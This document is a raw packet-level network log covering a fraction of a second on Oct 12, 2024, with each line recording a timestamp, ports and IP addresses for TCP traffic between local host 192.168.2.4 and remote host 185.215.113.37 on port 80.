Oct 12, 2024 13:17:31.191109896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191116095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191153049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191153049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191195011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191207886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191241980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191251993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191274881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191282988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191309929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191328049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191363096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191374063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191400051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191428900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191462994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191468954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191500902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191508055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191536903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191543102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191571951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191579103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191606998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191613913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191642046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191644907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191679955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191683054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191711903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191720963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191746950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191751957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191788912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191804886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191847086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191859961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191894054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191900969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191926003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191932917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191962004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191962957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191992044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.192002058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.192028999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.192033052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.192065001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.192070007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.192099094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.192102909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.192135096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.192135096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.192167997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.192178965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.192203999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.192205906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.192246914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.218667030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.218758106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.218764067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.218791962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.218802929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.218826056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.218832970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.218864918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.218888998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.218919039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.218933105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.218957901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.218970060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219005108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219010115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219046116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219058037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219093084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219100952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219125032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219136000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219166040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219178915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219218969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219232082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219265938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219274998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219299078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219301939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219330072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219341040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219368935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219381094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219446898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219449997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219481945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219485998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219523907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219537020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219569921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219578981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219604969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219611883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219641924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219645977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219682932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219683886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219728947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219737053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219774961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219789028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219804049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219815969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219836950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219844103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219877005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219892025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219926119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219928980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219959974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219986916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.219995022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.219999075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220030069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220036030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220063925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220069885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220098019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220108032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220128059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220138073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220163107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220168114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220197916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220201969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220232010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220241070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220267057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220272064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220300913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220314026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220336914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220340967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220366955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220376015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220398903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220401049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220436096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220439911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220472097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220477104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220506907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220513105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220541954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220550060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220577955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220580101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220612049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220618963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220658064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.220666885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.220707893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251185894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251240969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251246929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251286030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251295090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251328945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251339912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251363039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251368999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251406908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251425982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251460075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251468897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251494884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251501083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251532078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251537085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251566887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251574993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251601934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251606941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251636982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251645088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251674891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251679897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251710892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.251717091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.251753092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253169060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253199100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253228903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253242970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253251076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253285885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253298044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253325939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253338099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253382921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253391981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253426075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253432989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253459930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253467083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253498077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253500938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253540039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253550053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253583908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253592014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253617048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253623962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253653049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253662109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253690004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253695011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253726006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253731966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253758907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253771067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253796101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253798962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253829956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253839016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253865957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253876925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253900051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253901958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253936052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253942013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.253969908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.253974915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.254007101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.254010916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.254049063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.280827999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.280858040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.280884027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.280903101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.280910015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.280942917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.280955076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.280982971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.280992985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281025887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281037092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281059027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281066895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281102896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281110048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281152010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281163931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281202078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281215906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281250000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281258106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281284094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281291008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281326056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281333923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281367064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281374931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281409025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281419039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281450987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281461954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281485081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281488895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281517982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281527042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281553984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281558990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281589031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281595945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281622887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281630993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281661987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281676054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281696081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281702995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281729937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281738043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281765938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281771898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281800032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281805992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281841993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281847954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281889915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281908989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281934977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281943083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.281985998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.281994104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.282027960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.282038927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.282058954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.282072067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.282090902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.282099962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.282125950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.282135963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.282174110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.282181978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.282208920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.282216072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.282247066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.282253981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.282282114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.282289982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.282315969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.282324076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.282360077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.313577890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.313623905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.313642025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.313667059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.313683987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.313719988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.313721895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.313760042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.313764095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.313795090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.313805103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.313828945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.313838005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.313864946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.313872099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.313899040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.313908100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.313932896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.313940048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.313982010 CEST	49730	80	192.168.2.4	185.215.113.37
